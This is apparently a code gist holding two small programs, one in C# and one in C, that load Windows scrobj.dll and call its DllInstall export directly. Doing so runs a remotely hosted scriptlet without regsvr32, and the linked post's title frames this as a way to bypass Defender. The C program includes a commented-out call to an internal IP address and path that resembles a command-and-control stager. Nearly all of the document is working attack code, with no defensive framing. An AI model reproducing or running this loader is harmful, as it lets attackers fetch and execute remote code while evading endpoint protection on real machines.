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October 12, 2020 14:59
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Call scrobj.dll in .net env without regsvr32
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/* | |
* Author: REInject | |
* Usage: scrobj-call-csharp.exe http://127.0.0.1/test.sct | |
* Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/ | |
*/ | |
using System; | |
using System.Runtime.InteropServices; | |
using System.ComponentModel; | |
namespace scrobj_call_csharp | |
{ | |
static class NativeMethod | |
{ | |
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] | |
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName); | |
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
} | |
class Program | |
{ | |
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)] | |
private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine); | |
static void Main(string[] args) | |
{ | |
if(args.Length == 0) | |
{ | |
Console.WriteLine("Usage: \n\tscrobj-call-csharp.exe http://127.0.0.1/test.sct"); | |
return; | |
} | |
const string dllPath = "c:\\windows\\system32\\scrobj.dll"; | |
IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath); | |
if(hDllScr == IntPtr.Zero) | |
{ | |
var lasterror = Marshal.GetLastWin32Error(); | |
var innerEx = new Win32Exception(lasterror); | |
innerEx.Data.Add("LastWin32Error", lasterror); | |
throw new Exception("Can't load Dll " + dllPath, innerEx); | |
} | |
IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall"); | |
DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall)); | |
fDllInstall(false, args[0]); | |
} | |
} | |
} |
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/* | |
* Author: REInject | |
* Usage: scrobj-call.exe | |
* Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/ | |
* Note: required clr | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <windows.h> | |
#include <tchar.h> | |
int main() | |
{ | |
TCHAR* dllpath = _T("c:\\windows\\system32\\scrobj.dll"); | |
HMODULE hDllScr = LoadLibrary(dllpath); | |
if (hDllScr == NULL) | |
{ | |
puts("Load scrobj.dll fail!"); | |
} | |
puts("Load scrobj.dll success!"); | |
printf("Address: %p\n", hDllScr); | |
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall"); | |
if (DllInstallProcAddr == NULL) | |
{ | |
puts("Can not found DllInstall in scrobj.dll!"); | |
} | |
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr); | |
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C"); | |
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1\\ttt.txt"); | |
return 0; | |
} |
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